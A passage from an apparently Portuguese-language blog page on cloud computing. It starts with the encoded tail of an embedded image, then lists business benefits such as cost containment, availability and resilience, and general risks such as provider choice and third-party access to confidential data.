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" /></div>
<div style="text-align: justify;">
Como pode ser observado na lista de características na figura 3, existem muitas abordagens e constatações relacionadas à computação em nuvem. Os benefícios às empresas, bem como os riscos, serão variados, pois dependem dos tipos de serviço e dos modelos de implantação escolhidos.</div>
<br />
<span style="color: red;"><b><u>Os benefícios comerciais da computação em nuvem</u></b></span><br />
<br />
Embora a promessa de economia financeira seja um ponto bastante atraente da computação em nuvem, muito possivelmente, a melhor opção para as empresas é a simplificação de processos e o aumento de inovação. Com ela, é possível aumentar a produtividade e transformar os processos de negócio através de meios que eram extremamente caros antes do sistema de nuvem. As organizações podem se concentrar em seu negócio principal em vez de se preocuparem com o dimensionamento da infraestrutura. A solução das demandas de pico de negócios para o desempenho pode ser facilmente encontrada usando a computação em nuvem, ou seja, através de backups mais confiáveis, clientes mais satisfeitos, mais dimensionamento e margens ainda maiores.<br />
<br />
Alguns dos benefícios-chave oferecidos pela computação em nuvem são:<br />
<br />
• Contenção de despesas — O sistema de nuvem oferece às empresas a opção de dimensionamento sem sérios compromissos financeiros necessários para aquisição e manutenção de infraestrutura. Os serviços de nuvem exigem pouca ou nenhuma despesa de capital inicial. Tanto os serviços quanto o armazenamento são disponibilizados sob demanda e com preços definidos sob o sistema de pagamento Pay-As-You-Go. Além disso, o modelo de nuvem ajudaria a economizar no desperdício de recursos. A economia de espaço não utilizado nos servidores permite que as empresas reduzam seus gastos com relação às exigências de tecnologia existentes e experimentem novas tecnologias e serviços sem precisar de grandes investimentos. As empresas deverão comparar os custos atuais com as despesas do sistema de nuvem e levar em consideração os modelos TCO para compreender se os serviços de nuvem poderão oferecer uma economia em potencial para a empresa.<br />
<br />
<div style="text-align: justify;">
• Imediatismo — Muitos pioneiros da computação em nuvem citaram a capacidade de fornecimento e utilização de um serviço em um único dia. Isso se compara aos tradicionais projetos de TI que podem exigir semanas ou meses para serem desenvolvidos, configurados e aplicados aos recursos necessários. Esse processo tem um impacto fundamental sobre a agilidade de um negócio e a redução dos custos associados aos atrasos.</div>
<br />
<div style="text-align: justify;">
• Disponibilidade — Os provedores dos serviços de nuvem têm a infraestrutura e a largura de banda necessárias para fornecer acesso de alta velocidade, armazenamento e aplicativos. Como esses provedores frequentemente apresentam caminhos redundantes, existe uma chance para o balanceamento de carga a fim de garantir que os sistemas não sejam sobrecarregados e que os serviços não sofram algum atraso. Embora a disponibilidade seja uma promessa, os clientes devem se certificar de que eles terão as devidas provisões em caso de interrupção dos serviços.</div>
<br />
• Dimensionamento — Com capacidade irrestrita, os serviços de nuvem oferecem mais flexibilidade e dimensionamento envolvendo as necessidades de TI. O fornecimento e a implementação são realizados sob demanda, permitindo aumento de tráfego e reduzindo o tempo para implementar novos serviços.<br />
<br />
• Eficiência — A realocação das atividades operacionais de gestão de informações sobre realocação da nuvem oferecem às empresas uma oportunidade única para concentrar esforços na inovação e pesquisa e desenvolvimento. Esse processo abre as portas para o crescimento comercial, bem como o crescimento do produto, e ainda pode ser mais benéfico do que as vantagens financeiras oferecidas pelo sistema de nuvem.<br />
<br />
<div style="text-align: justify;">
• Resiliência — Os provedores do sistema de nuvem têm soluções espelhadas que podem ser utilizadas em um cenário de desastre, bem como no balanceamento de carga de tráfego. Se ocorrer um desastre natural que exija um local em uma área geográfica diferente ou apenas o tráfego pesado, os provedores de computação em nuvem afirmam ter resiliência e capacidade suficientes para garantir sustentabilidade em caso de um evento inesperado.</div>
<br />
A premissa do sistema de nuvem é que com as partes terceirizadas do gerenciamento de informação e operações de TI, os funcionários da empresa estarão livres para melhorar os processos, aumentar a produtividade e a inovação, enquanto o provedor do sistema de nuvem trabalha com a atividade operacional de forma mais inteligente, mais rápida e mais barata. Supondo que seja este o caso, provavelmente serão necessárias alterações significativas nos processos de negócio existentes para aproveitar as oportunidades que os serviços de nuvem oferecem.<br />
<br />
<span style="color: red;"><b><u>Os riscos e as questões de segurança relacionadas à computação em nuvem</u></b></span><br />
<br />
Muitos dos riscos frequentemente associados à computação em nuvem não são novos e podem ser encontrados nas empresas de hoje. Bem planejadas, as atividades previstas sobre a gestão de riscos serão cruciais para assegurar que a informação seja disponibilizada e protegida simultaneamente. Talvez os processos comerciais e procedimentos que devem ser considerados com relação à segurança e gerentes de segurança da informação tenham que se ajustar às políticas e aos procedimentos da empresa para atender às necessidades do negócio. Dado o ambiente empresarial dinâmico e o foco na globalização, existem muito poucas empresas que não terceirizam parte de seus negócios. Participar de um relacionamento com um terceiro significa que o negócio não utiliza apenas os serviços e a tecnologia do provedor do sistema de nuvem, mas também precisa lidar com a forma como o fornecedor executa sua organização, a arquitetura<br />
do provedor e a cultura e as políticas organizacionais do provedor. Alguns exemplos dos riscos da computação em nuvem para empresas que necessitam de gerenciamento incluem:<br />
<br />
• As empresas precisam ser cuidadosas na escolha de um provedor. Reputação, história e sustentabilidade são fatores que devem ser considerados. A sustentabilidade é dos itens importantes para garantir que os serviços estejam disponíveis e que os dados possam ser monitorados.<br />
<br />
• Muitas vezes, o provedor do sistema de nuvem assume a responsabilidade do tratamento da informação, que é uma parte crítica do negócio. A não realização dos níveis de serviços acordados pode comprometer não apenas a confidencialidade, mas também a disponibilidade, afetando severamente as operações comerciais.<br />
<br />
• A natureza dinâmica da computação em nuvem pode acabar em confusão com relação às informações que realmente lhes dizem respeito. Quando a recuperação de informação é necessária, isso pode gerar atrasos.<br />
<br />
• O acesso de terceiros às informações confidenciais cria um risco de comprometimento dessas informações. Na computação em nuvem, isso pode comprometer a proteção da propriedade intelectual (IP) e os segredos comerciais.<br />
<br />
